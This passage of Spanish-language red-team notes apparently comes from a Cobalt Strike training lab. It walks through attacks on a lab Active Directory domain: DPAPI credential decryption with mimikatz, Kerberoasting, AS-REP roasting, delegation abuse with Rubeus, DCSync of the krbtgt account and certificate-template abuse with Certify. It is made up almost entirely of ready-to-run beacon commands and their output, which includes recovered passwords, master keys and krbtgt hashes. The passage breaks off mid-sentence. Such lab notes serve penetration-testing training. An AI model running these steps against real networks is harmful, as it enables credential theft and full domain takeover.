execute-assembly C:\Tools\Seatbelt\Seatbelt\bin\Release\Seatbelt.exe WindowsCredentialFiles ====== WindowsCredentialFiles ====== Folder : C:\Users\bfarmer\AppData\Local\Microsoft\Credentials\ FileName : 6C33AC85D0C4DCEAB186B3B2E5B1AC7C Description : Local Credential Data MasterKey : bfc5090d-22fe-4058-8953-47f6882f549e Accessed : 9/6/2022 10:50:44 AM Modified : 9/6/2022 10:50:44 AM Size : 468 FileName : DFBE70A7E5CC19A398EBF1B96859CE5D Description : Local Credential Data MasterKey : bfc5090d-22fe-4058-8953-47f6882f549e Accessed : 9/6/2022 10:50:44 AM Modified : 9/6/2022 10:50:44 AM Size : 11036 ``` Seatbelt Para obtener la llave de cifrado de las claves (qeu también viene cifrada) ``` beacon> ls C:\Users\bfarmer\AppData\Roaming\Microsoft\Protect\S-1-5-21-569305411-121244042-2357301523-1104 [*] Listing: C:\Users\bfarmer\AppData\Roaming\Microsoft\Protect\S-1-5-21-569305411-121244042-2357301523-1104\ Size Type Last Modified Name ---- ---- ------------- ---- 740b fil 08/15/2022 17:34:31 bfc5090d-22fe-4058-8953-47f6882f549e 928b fil 08/15/2022 17:34:31 BK-DEV 24b fil 08/15/2022 17:34:31 Preferred ``` Para sacar la llave de cifrado *Nota: es necesario ser admin local en la máquina y que la key esté cacheada en el lsass* Método 1: ``` beacon> mimikatz !sekurlsa::dpapi Authentication Id : 0 ; 1075454 (00000000:001068fe) Session : RemoteInteractive from 2 User Name : bfarmer Domain : DEV Logon Server : DC-2 Logon Time : 9/6/2022 9:09:54 AM SID : S-1-5-21-569305411-121244042-2357301523-1104 [00000000] * GUID : {bfc5090d-22fe-4058-8953-47f6882f549e} * Time : 9/6/2022 11:27:44 AM * MasterKey : 8d15395a4bd40a61d5eb6e526c552f598a398d530ecc2f5387e07605eeab6e3b4ab440d85fc8c4368e0a7ee130761dc407a2c4d58fcd3bd3881fa4371f19c214 * sha1(key) : 897f7bf129e6a898ff4e20e9789009d5385be1f3 ``` Método 2: ``` beacon> mimikatz dpapi::masterkey /in:C:\Users\bfarmer\AppData\Roaming\Microsoft\Protect\S-1-5-21-569305411-121244042-2357301523-1104\bfc5090d-22fe-4058-8953-47f6882f549e /rpc [domainkey] with RPC [DC] 'dev.cyberbotic.io' will be the domain [DC] 'dc-2.dev.cyberbotic.io' will be the DC server key : 8d15395a4bd40a61d5eb6e526c552f598a398d530ecc2f5387e07605eeab6e3b4ab440d85fc8c4368e0a7ee130761dc407a2c4d58fcd3bd3881fa4371f19c214 sha1: 897f7bf129e6a898ff4e20e9789009d5385be1f3 ``` Para descrifrar el blob finalmente: ``` beacon> mimikatz dpapi::cred /in:C:\Users\bfarmer\AppData\Local\Microsoft\Credentials\6C33AC85D0C4DCEAB186B3B2E5B1AC7C /masterkey:8d15395a4bd40a61d5eb6e526c552f598a398d530ecc2f5387e07605eeab6e3b4ab440d85fc8c4368e0a7ee130761dc407a2c4d58fcd3bd3881fa4371f19c214 TargetName : Domain:target=TERMSRV/sql-2.dev.cyberbotic.io UserName : SQL-2\Administrator CredentialBlob : wIfY&cZ&d?QP9iMFEzckmj.34=@sg.*i ``` #### Credenciales de Tareas Programadas En caso de existir tareas programadas que almacenen cred de usuario estarán en la ruta: `C:\Window\system32\config\systemprofile\AppData\Local\Microsoft\Credentials` ``` Listar: beacon> ls C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Credentials Size Type Last Modified Name ---- ---- ------------- ---- 10kb fil 08/30/2022 12:42:24 DFBE70A7E5CC19A398EBF1B96859CE5D 528b fil 08/16/2022 14:55:28 F3190EBE0498B77B4A85ECBABCA19B6E GUID de la master key: beacon> mimikatz dpapi::cred /in:C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Credentials\F3190EBE0498B77B4A85ECBABCA19B6E guidMasterKey : {aaa23e6b-bba8-441d-923c-ec242d6690c3} Dumpear las creds: beacon> mimikatz !sekurlsa::dpapi [00000000] * GUID : {aaa23e6b-bba8-441d-923c-ec242d6690c3} * Time : 9/6/2022 12:14:38 PM * MasterKey : 10530dda04093232087d35345bfbb4b75db7382ed6db73806f86238f6c3527d830f67210199579f86b0c0f039cd9a55b16b4ac0a3f411edfacc593a541f8d0d9 * sha1(key) : cfbc842e78ee6713fa5dcb3c9c2d6c6d7c09f06c Descifrar: beacon> mimikatz dpapi::cred /in:C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Credentials\F3190EBE0498B77B4A85ECBABCA19B6E /masterkey:10530dda04093232087d35345bfbb4b75db7382ed6db73806f86238f6c3527d830f67210199579f86b0c0f039cd9a55b16b4ac0a3f411edfacc593a541f8d0d9 TargetName : Domain:batch=TaskScheduler:Task:{86042B87-C8D0-40A5-BB58-14A45356E01C} UserName : DEV\jking CredentialBlob : Qwerty123 ``` ### Kerberos #### Kerberoasting *Nota: Con rubeus* *Nota: Para pasar más desapercibido se puede seleccionar a qué cuentas atacar con este método, ya que por defecto rubeus lo lanza a todas* *Nota: Para crackear -m 13100* ``` beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe kerberoast /simple /nowrap [*] Action: Kerberoasting [*] Searching the current domain for Kerberoastable users [*] Total kerberoastable users : 3 $krb5tgs$23$*mssql_svc$dev.cyberbotic.io$MSSQLSvc/sql-2.dev.cyberbotic.io:1433@dev.cyberbotic.io*$CC1E7D[...]331F0E $krb5tgs$23$*squid_svc$dev.cyberbotic.io$HTTP/squid.dev.cyberbotic.io@dev.cyberbotic.io*$55AACE[...]45F184 $krb5tgs$23$*honey_svc$dev.cyberbotic.io$HoneySvc/fake.dev.cyberbotic.io@dev.cyberbotic.io*$530955[...]626817 ``` 1. Seleccionar las cuentas: ``` beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(&(objectCategory=user)(servicePrincipalName=*))" --attributes cn,servicePrincipalName,samAccountName [*] TOTAL NUMBER OF SEARCH RESULTS: 4 [+] cn : krbtgt [+] servicePrincipalName : kadmin/changepw [+] samaccountname : krbtgt [+] cn : MS SQL Service [+] servicePrincipalName : MSSQLSvc/sql-2.dev.cyberbotic.io:1433 [+] samaccountname : mssql_svc [+] cn : Squid Proxy [+] servicePrincipalName : HTTP/squid.dev.cyberbotic.io [+] samaccountname : squid_svc [+] cn : Honey Token [+] servicePrincipalName : HoneySvc/fake.dev.cyberbotic.io [+] samaccountname : honey_svc ``` 2. Ejecutar kerberoasting en las cuentas seleccionadas con el parámetro /user: ``` beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe kerberoast /user:mssql_svc /nowrap [*] SamAccountName : mssql_svc [*] DistinguishedName : CN=MS SQL Service,CN=Users,DC=dev,DC=cyberbotic,DC=io [*] ServicePrincipalName : MSSQLSvc/sql-2.dev.cyberbotic.io:1433 [*] PwdLastSet : 8/15/2022 7:46:43 PM [*] Supported ETypes : RC4_HMAC_DEFAULT [*] Hash : $krb5tgs$23$*mssql_svc$dev.cyberbotic.io$MSSQLSvc/sql-2.dev.cyberbotic.io:1433@dev.cyberbotic.io*$CC1E7D[...]331F0E ``` #### ASREP Roasting *Nota: Para crackear m 18200* 1. Bucar las cuentas que no tienen pre-auth habilitado ``` beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(&(objectCategory=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" --attributes cn,distinguishedname,samaccountname [*] TOTAL NUMBER OF SEARCH RESULTS: 1 [+] cn : Squid Proxy [+] distinguishedname : CN=Squid Proxy,CN=Users,DC=dev,DC=cyberbotic,DC=io [+] samaccountname : squid_svc ``` 2. Ejecutar el ataque en las cuentas seleccionadas: ``` beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asreproast /user:squid_svc /nowrap [*] SamAccountName : squid_svc [*] DistinguishedName : CN=Squid Proxy,CN=Users,DC=dev,DC=cyberbotic,DC=io [*] Using domain controller: dc-2.dev.cyberbotic.io (10.10.122.10) [*] Building AS-REQ (w/o preauth) for: 'dev.cyberbotic.io\squid_svc' [+] AS-REQ w/o preauth successful! [*] AS-REP hash: $krb5asrep$squid_svc@dev.cyberbotic.io:3BD6BB[...]D02A6F ``` #### Unconstrained Delegation *Nota: Los controladores de dominio siempre tienen habilitada esta característica* 1. Listar los equipos que permiten *unconstrained delegation* ``` beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes samaccountname,dnshostname [*] TOTAL NUMBER OF SEARCH RESULTS: 2 [+] samaccountname : DC-2$ [+] dnshostname : dc-2.dev.cyberbotic.io [+] samaccountname : WEB$ [+] dnshostname : web.dev.cyberbotic.io ``` 1. Listar con Rubeus los tickets disponibles en el cache de la máquina (el que diga krbtgt es TGT de usuario) ``` beacon> getuid [*] You are NT AUTHORITY\SYSTEM (admin) beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe triage --------------------------------------------------------------------------------------------------------------- | LUID | UserName | Service | EndTime | --------------------------------------------------------------------------------------------------------------- | 0x14794e | nlamb @ DEV.CYBERBOTIC.IO | krbtgt/DEV.CYBERBOTIC.IO | 10/4/2022 9:35:38 ``` 2. Extraer el ticket y generar una nueva sesión ``` beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe dump /luid:0x14794e /nowrap doIFwj [...snip...] MuSU8= beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:DEV /username:nlamb /password:FakePass /ticket:doIFwj[...]MuSU8= [*] Using DEV\nlamb:FakePass [*] Showing process : False [*] Username : nlamb [*] Domain : DEV [*] Password : FakePass [+] Process : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9 [+] ProcessID : 1540 [+] Ticket successfully imported! [+] LUID : 0x3206fb beacon> steal_token 1540 ``` **Automatizar la obtención de los tickets** 1. Poner a rubeus en modo monitor definiendo un intervalo de tiempo determinado ``` beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe monitor /interval:10 /nowrap [*] Action: TGT Monitoring [*] Monitoring every 10 seconds for new TGTs ``` 2. Ejecutar SharpSpoolTrigger *Se ejecuta para obligar a una máquina a interactuar con aquella donde se tiene el beacon y así capturar el TGT de la cuenta de máquina, en este caso el beacon está en web y se quiere el de dc-2* ``` beacon> execute-assembly C:\Tools\SharpSystemTriggers\SharpSpoolTrigger\bin\Release\SharpSpoolTrigger.exe dc-2.dev.cyberbotic.io web.dev.cyberbotic.io ``` #### Constrained Delegation 1. Buscar equipos y cuentas con la característica habilitada (en el ejemplo solo equipos, pero cambiando computer por user) (donde el atributo `msds-allowedtodelegateto` no esté vacío) ``` beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(&(objectCategory=computer)(msds-allowedtodelegateto=*))" --attributes dnshostname,samaccountname,msds-allowedtodelegateto --json [*] TOTAL NUMBER OF SEARCH RESULTS: 1 [ { "dnshostname": "sql-2.dev.cyberbotic.io", "samaccountname": "SQL-2$", "msds-allowedtodelegateto": [ "cifs/dc-2.dev.cyberbotic.io/dev.cyberbotic.io", "cifs/dc-2.dev.cyberbotic.io", "cifs/DC-2", "cifs/dc-2.dev.cyberbotic.io/DEV", "cifs/DC-2/DEV" ] } ] ``` 2. Solicitar el ticket de donde se está ejecutando el servicio ``` beacon> run hostname sql-2 beacon> getuid [*] You are NT AUTHORITY\SYSTEM (admin) beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe triage --------------------------------------------------------------------------------------------------------------- | LUID | UserName | Service | EndTime | --------------------------------------------------------------------------------------------------------------- | 0x3e4 | sql-2$ @ DEV.CYBERBOTIC.IO | krbtgt/DEV.CYBERBOTIC.IO | 9/6/2022 7:06:50 PM | beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe dump /luid:0x3e4 /service:krbtgt /nowrap ServiceName : krbtgt/DEV.CYBERBOTIC.IO ServiceRealm : DEV.CYBERBOTIC.IO UserName : SQL-2$ UserRealm : DEV.CYBERBOTIC.IO StartTime : 9/6/2022 9:06:50 AM EndTime : 9/6/2022 7:06:50 PM RenewTill : 9/13/2022 9:06:50 AM Flags : name_canonicalize, pre_authent, initial, renewable, forwardable KeyType : aes256_cts_hmac_sha1 Base64(key) : pj1tbiijFCGHkM6S58ShgxxPi8FvA1UB5liBqrSWPCg= Base64EncodedTicket : doIFpD[...]MuSU8= ``` 3. Realizar un S4U request para obtener un TGS usable (en el ejemplo para CIFS) > /msdsspn: servicio que se permite delegar a SQL-2 > /impersonateuser: usuario a impersonar que debe ser admin local al menos > /user: usuario que puede ejecutar la delegación > /ticket: TGT del usuario ``` beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe s4u /impersonateuser:nlamb /msdsspn:cifs/dc-2.dev.cyberbotic.io /user:sql-2$ /ticket:doIFLD[...snip...]MuSU8= /nowrap [*] Action: S4U [*] Building S4U2self request for: 'SQL-2$@DEV.CYBERBOTIC.IO' [*] Using domain controller: dc-2.dev.cyberbotic.io (10.10.122.10) [*] Sending S4U2self request to 10.10.122.10:88 [+] S4U2self success! [*] Got a TGS for 'nlamb' to 'SQL-2$@DEV.CYBERBOTIC.IO' [*] base64(ticket.kirbi): doIFnD[...]FMLTIk [*] Impersonating user 'nlamb' to target SPN 'cifs/dc-2.dev.cyberbotic.io' [*] Building S4U2proxy request for service: 'cifs/dc-2.dev.cyberbotic.io' [*] Using domain controller: dc-2.dev.cyberbotic.io (10.10.122.10) [*] Sending S4U2proxy request to domain controller 10.10.122.10:88 [+] S4U2proxy success! [*] base64(ticket.kirbi) for SPN 'cifs/dc-2.dev.cyberbotic.io': doIGaD[...]ljLmlv ``` 4. Finalmente ejecuta un S4U2Self y luego un S4U2Proxy para obtener el ticket: ``` beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:DEV /username:nlamb /password:FakePass /ticket:doIGaD[...]ljLmlv [*] Using DEV\nlamb:FakePass [*] Showing process : False [*] Username : nlamb [*] Domain : DEV [*] Password : FakePass [+] Process : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9 [+] ProcessID : 5540 [+] Ticket successfully imported! [+] LUID : 0x3d3194 beacon> steal_token 5540 ``` #### Alternate Service Name Permite solicitar un TGT para cualquier servicio donde esté habilitado el contrained delegation. Siguiendo el ejemplo anterior de SQL2 y el servicio CIFS. Usando la flag /altservice se puede pedir el ticket para cualquier servicio. En el ejemplo se quiere acceso al servicio LDAP. *Nota: con un ticket para el servicio de LDAP se puede hacer un DSYNC contra el DC* ``` beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe s4u /impersonateuser:nlamb /msdsspn:cifs/dc-2.dev.cyberbotic.io /altservice:ldap /user:sql-2$ /ticket:doIFpD[...]MuSU8= /nowrap [*] Action: S4U [*] Building S4U2self request for: 'SQL-2$@DEV.CYBERBOTIC.IO' [*] Using domain controller: dc-2.dev.cyberbotic.io (10.10.122.10) [*] Sending S4U2self request to 10.10.122.10:88 [+] S4U2self success! [*] Got a TGS for 'nlamb' to 'SQL-2$@DEV.CYBERBOTIC.IO' [*] base64(ticket.kirbi): doIFnD[...]FMLTIk [*] Impersonating user 'nlamb' to target SPN 'cifs/dc-2.dev.cyberbotic.io' [*] Final ticket will be for the alternate service 'ldap' [*] Building S4U2proxy request for service: 'cifs/dc-2.dev.cyberbotic.io' [*] Using domain controller: dc-2.dev.cyberbotic.io (10.10.122.10) [*] Sending S4U2proxy request to domain controller 10.10.122.10:88 [+] S4U2proxy success! [*] Substituting alternative service name 'ldap' [*] base64(ticket.kirbi) for SPN 'ldap/dc-2.dev.cyberbotic.io': doIGaD[...]ljLmlv beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:DEV /username:nlamb /password:FakePass /ticket:doIGaD[...]ljLmlv [*] Using DEV\nlamb:FakePass [*] Showing process : False [*] Username : nlamb [*] Domain : DEV [*] Password : FakePass [+] Process : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9 [+] ProcessID : 2580 [+] Ticket successfully imported! [+] LUID : 0x4b328e beacon> steal_token 2580 ``` **DSCYNC** ``` beacon> dcsync dev.cyberbotic.io DEV\krbtgt [DC] 'dev.cyberbotic.io' will be the domain [DC] 'dc-2.dev.cyberbotic.io' will be the DC server [DC] 'DEV\krbtgt' will be the user account [rpc] Service : ldap [rpc] AuthnSvc : GSS_NEGOTIATE (9) Object RDN : krbtgt ** SAM ACCOUNT ** SAM Username : krbtgt Account Type : 30000000 ( USER_OBJECT ) User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT ) Account expiration : Password last change : 8/15/2022 4:01:04 PM Object Security ID : S-1-5-21-569305411-121244042-2357301523-502 Object Relative ID : 502 Credentials: Hash NTLM: 9fb924c244ad44e934c390dc17e02c3d ntlm- 0: 9fb924c244ad44e934c390dc17e02c3d lm - 0: 207d5e08551c51892309c0cf652c353b * Primary:Kerberos-Newer-Keys * Default Salt : DEV.CYBERBOTIC.IOkrbtgt Default Iterations : 4096 Credentials aes256_hmac (4096) : 51d7f328ade26e9f785fd7eee191265ebc87c01a4790a7f38fb52e06563d4e7e aes128_hmac (4096) : 6fb62ed56c7de778ca5e4fe6da6d3aca des_cbc_md5 (4096) : 629189372a372fda ``` #### S4U2Self Abuse Para hacer uso de un TGT de una sesión de máquina e impersonar a un usuario que se sabe es administrador local. En Rubeus se realiza con el parámetro /self. En el ejemplo se tiene el ticket del dc2 pero para poder acceder al equipo (usar el servicio CIFS se necesita de un usuario, en este caso domain admin) ``` beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe s4u /impersonateuser:nlamb /self /altservice:cifs/dc-2.dev.cyberbotic.io /user:dc-2$ /ticket:doIFuj[...]lDLklP /nowrap [*] Action: S4U [*] Building S4U2self request for: 'DC-2$@DEV.CYBERBOTIC.IO' [*] Using domain controller: dc-2.dev.cyberbotic.io (10.10.122.10) [*] Sending S4U2self request to 10.10.122.10:88 [+] S4U2self success! [*] Substituting alternative service name 'cifs/dc-2.dev.cyberbotic.io' [*] Got a TGS for 'nlamb' to 'cifs@DEV.CYBERBOTIC.IO' [*] base64(ticket.kirbi): doIFyD[...]MuaW8= beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:DEV /username:nlamb /password:FakePass /ticket:doIFyD[...]MuaW8= [*] Using DEV\nlamb:FakePass [*] Showing process : False [*] Username : nlamb [*] Domain : DEV [*] Password : FakePass [+] Process : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9 [+] ProcessID : 2664 [+] Ticket successfully imported! [+] LUID : 0x4ff935 beacon> steal_token 2664 ``` #### Resource-Based Constrained Delegation Requisitos: 1. El equipo en el cual se pueda modificar `msDS-AllowedToActOnBehalfOfOtherIdentity` 2. Tener control de otro *Principal* que tenga el SPN *Nota: para volver al estado original* ``` beacon> powershell Get-DomainComputer -Identity dc-2 | Set-DomainObject -Clear msDS-AllowedToActOnBehalfOfOtherIdentity ``` 1. Búsqueda: Se busca mediante powershell y el que hace match corresponde al ejemplificado acá: ``` beacon> powershell Get-DomainComputer | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match "WriteProperty|GenericWrite|GenericAll|WriteDacl" -and $_.SecurityIdentifier -match "S-1-5-21-569305411-121244042-2357301523-[\d]{4,10}" } AceQualifier : AccessAllowed ObjectDN : CN=DC-2,OU=Domain Controllers,DC=dev,DC=cyberbotic,DC=io ActiveDirectoryRights : Self, WriteProperty ObjectAceType : All ObjectSID : S-1-5-21-569305411-121244042-2357301523-1000 InheritanceFlags : ContainerInherit BinaryLength : 56 AceType : AccessAllowedObject ObjectAceFlags : InheritedObjectAceTypePresent IsCallback : False PropagationFlags : None SecurityIdentifier : S-1-5-21-569305411-121244042-2357301523-1107 AccessMask : 40 AuditFlags : None IsInherited : True AceFlags : ContainerInherit, Inherited InheritedObjectAceType : Computer OpaqueLength : 0 beacon> powershell ConvertFrom-SID S-1-5-21-569305411-121244042-2357301523-1107 DEV\Developers ``` 2. Se usa una máquina en la cual se tienen altos privilegios (en este caso workstation 2) y se solicita su SID. ``` beacon> powershell Get-DomainComputer -Identity wkstn-2 -Properties objectSid objectsid --------- S-1-5-21-569305411-121244042-2357301523-1109 ``` 3. Se crea un descriptor de seguridad usando el SID obtenido: ``` $rsd = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-569305411-121244042-2357301523-1109)" $rsdb = New-Object byte[] ($rsd.BinaryLength) $rsd.GetBinaryForm($rsdb, 0) ``` 4. Se setea en el objeto que se quiere modificar (`msDS-AllowedToActOnBehalfOfOtherIdentity`) ``` beacon> powershell $rsd = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-569305411-121244042-2357301523-1109)"; $rsdb = New-Object byte[] ($rsd.BinaryLength); $rsd.GetBinaryForm($rsdb, 0); Get-DomainComputer -Identity "dc-2" | Set-DomainObject -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity' = $rsdb} -Verbose Setting 'msDS-AllowedToActOnBehalfOfOtherIdentity' to '1 0 4 128 20 0 0 0 0 0 0 0 0 0 0 0 36 0 0 0 1 2 0 0 0 0 0 5 32 0 0 0 32 2 0 0 2 0 44 0 1 0 0 0 0 0 36 0 255 1 15 0 1 5 0 0 0 0 0 5 21 0 0 0 67 233 238 33 138 9 58 7 19 145 129 140 85 4 0 0' for object 'DC-2$' beacon> powershell Get-DomainComputer -Identity "dc-2" -Properties msDS-AllowedToActOnBehalfOfOtherIdentity msds-allowedtoactonbehalfofotheridentity ---------------------------------------- {1, 0, 4, 128...} ``` 5. Desde el equipo comprometido (workstation-2) se usa el ataque S4U con Rubeus, dado que requiere un TGT se extrae directamente (recordar que se necesita acceso de admin) ``` beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe triage [*] Current LUID : 0x3e7 ------------------------------------------------------------------------------------------------------------------ | LUID | UserName | Service | EndTime | ------------------------------------------------------------------------------------------------------------------ | 0x3e4 | wkstn-2$ @ DEV.CYBERBOTIC.IO | krbtgt/DEV.CYBERBOTIC.IO | 9/13/2022 7:27:12 PM | beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe dump /luid:0x3e4 /service:krbtgt /nowrap [*] Target service : krbtgt [*] Target LUID : 0x3e4 [*] Current LUID : 0x3e7 UserName : WKSTN-2$ Domain : DEV LogonId : 0x3e4 UserSID : S-1-5-20 AuthenticationPackage : Negotiate LogonType : Service LogonTime : 9/13/2022 9:26:48 AM LogonServer : LogonServerDNSDomain : UserPrincipalName : WKSTN-2$@dev.cyberbotic.io ServiceName : krbtgt/DEV.CYBERBOTIC.IO ServiceRealm : DEV.CYBERBOTIC.IO UserName : WKSTN-2$ UserRealm : DEV.CYBERBOTIC.IO StartTime : 9/13/2022 9:27:12 AM EndTime : 9/13/2022 7:27:12 PM RenewTill : 9/20/2022 9:27:12 AM Flags : name_canonicalize, pre_authent, initial, renewable, forwardable KeyType : aes256_cts_hmac_sha1 Base64(key) : qEQBH1TdRRjZiZ0iXbeCy4Z3MsOf30l8lLTNE4InemY= Base64EncodedTicket : doIFuD[...]5JTw== beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe s4u /user:WKSTN-2$ /impersonateuser:nlamb /msdsspn:cifs/dc-2.dev.cyberbotic.io /ticket:doIFuD[...]5JTw== /nowrap [*] Building S4U2self request for: 'WKSTN-2$@DEV.CYBERBOTIC.IO' [*] Using domain controller: dc-2.dev.cyberbotic.io (10.10.122.10) [*] Sending S4U2self request to 10.10.122.10:88 [+] S4U2self success! [*] Got a TGS for 'nlamb' to 'WKSTN-2$@DEV.CYBERBOTIC.IO' [*] base64(ticket.kirbi): doIFoD[...]0yJA== [*] Impersonating user 'nlamb' to target SPN 'cifs/dc-2.dev.cyberbotic.io' [*] Building S4U2proxy request for service: 'cifs/dc-2.dev.cyberbotic.io' [*] Using domain controller: dc-2.dev.cyberbotic.io (10.10.122.10) [*] Sending S4U2proxy request to domain controller 10.10.122.10:88 [+] S4U2proxy success! [*] base64(ticket.kirbi) for SPN 'cifs/dc-2.dev.cyberbotic.io': doIGcD[...]MuaW8= ``` 6. Finalmente se pasa el ticket a una sesión ``` beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:DEV /username:nlamb /password:FakePass /ticket:doIGcD[...]MuaW8= [*] Using DEV\nlamb:FakePass [*] Showing process : False [*] Username : nlamb [*] Domain : DEV [*] Password : FakePass [+] Process : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9 [+] ProcessID : 4092 [+] Ticket successfully imported! [+] LUID : 0x6cb934 beacon> steal_token 4092 [+] Impersonated DEV\bfarmer ``` ### AD Certificate Services #### Encontrar CA (Certificate Authorities) en el forest Herramienta Certify con cas como parámetro: ``` beacon> execute-assembly C:\Tools\Certify\Certify\bin\Release\Certify.exe cas Enterprise CA Name : ca DNS Hostname : dc-1.cyberbotic.io FullName : dc-1.cyberbotic.io\ca Flags : SUPPORTS_NT_AUTHENTICATION, CA_SERVERTYPE_ADVANCED Cert SubjectName : CN=ca, DC=cyberbotic, DC=io Cert Thumbprint : 95AF7043BD6241CEE92E6DC6CB8D22494E396CCF Cert Serial : 17DDB078863F61884B680FE6F59211AD Cert Start Date : 8/15/2022 3:42:59 PM Cert End Date : 8/15/2047 3:52:59 PM Cert Chain : CN=ca,DC=cyberbotic,DC=io Enterprise CA Name : sub-ca DNS Hostname : dc-2.dev.cyberbotic.io FullName : dc-2.dev.cyberbotic.io\sub-ca Flags : SUPPORTS_NT_AUTHENTICATION, CA_SERVERTYPE_ADVANCED Cert SubjectName : CN=sub-ca, DC=dev, DC=cyberbotic, DC=io Cert Thumbprint : 697B1C2CD65B2ADC80C3D0CE83A6FB889B0CA08E Cert Serial : 13000000046EF818036CF8C99F000000000004 Cert Start Date : 8/15/2022 4:06:13 PM Cert End Date : 8/15/2024 4:16:13 PM Cert Chain : CN=ca,DC=cyberbotic,DC=io -> CN=sub-ca,DC=dev,DC=cyberbotic,DC=io ``` Pasos para abusar de los Certificados Vulnerables: 1. Encontrar certificado vulnerable ``` beacon> execute-assembly C:\Tools\Certify\Certify\bin\Release\Certify.exe find /vulnerable ``` 2. Solicitar un certificado para un usuario con altos privilegios ``` beacon> getuid [*] You are DEV\bfarmer beacon> execute-assembly C:\Tools\Certify\Certify\bin\Release\Certify.exe request /ca:dc-2.dev.cyberbotic.io\sub-ca /template:CustomUser /altname:nlamb [*] Action: Request a Certificates [*] Current user context : DEV\bfarmer [*] No subject name specified, using current context as subject. [*] Template : CustomUser [*] Subject : CN=Bob Farmer, CN=Users, DC=dev, DC=cyberbotic, DC=io [*] AltName : nlamb [*] Certificate Authority : dc-2.dev.cyberbotic.io\sub-ca [*] CA Response : The certificate had been issued. [*] Request ID : 11 [*] cert.pem : -----BEGIN RSA PRIVATE KEY----- [...] -----END RSA PRIVATE KEY----- -----BEGIN CERTIFICATE----- [...] -----END CERTIFICATE----- [*] Convert with: openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx Certify completed in 00:00:05.4521116 ``` 2. Guardar la llave privada y certificado en un archivo cert.pem y usarl openssl para llevarlo a formato pfx ``` ubuntu@DESKTOP-3BSK7NO ~> openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx Enter Export Password: pass123 Verifying - Enter Export Password: pass123 ``` 3. Encodearlo a b64 para usarlo en rubeus ``` ubuntu@DESKTOP-3BSK7NO ~> cat cert.pfx | base64 -w 0 MIIM7w[...]ECAggA ``` 4. Solicitar el TGT del usuario con rubeus y su certificado ``` beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:nlamb /certificate:MIIM7w[...]ECAggA /password:pass123 /nowrap [*] Using PKINIT with etype rc4_hmac and subject: CN=Bob Farmer, CN=Users, DC=dev, DC=cyberbotic, DC=io [*] Building AS-REQ (w/ PKINIT preauth) for: 'dev.cyberbotic.io\nlamb' [*] Using domain controller: 10.10.122.10:88 [+] TGT request successful! [*] base64(ticket.kirbi): doIGQj[...]5pbw== ServiceName : krbtgt/dev.cyberbotic.io ServiceRealm : DEV.CYBERBOTIC.IO UserName : nlamb UserRealm : DEV.CYBERBOTIC.IO StartTime : 9/7/2022 8:51:22 AM EndTime : 9/7/2022 6:51:22 PM RenewTill : 9/14/2022 8:51:22 AM Flags : name_canonicalize, pre_authent, initial, renewable, forwardable KeyType : rc4_hmac Base64(key) : AliVFc5Nk93Z7IUkweCnBQ== ASREP (key) : 4DB9D9D76701696109C28A26D27DE0B0 ``` #### NTLM Relaying to ADCS HTTP Endpoints Útil para cuando se tiene el CA funcionando en web y con autenticación vía NTLM. En este caso se puede forzar un DC que se autentique hacia el equipo de un atacante y luego usarlo para obtener un TGT. Requisitos: 1. portbender en un 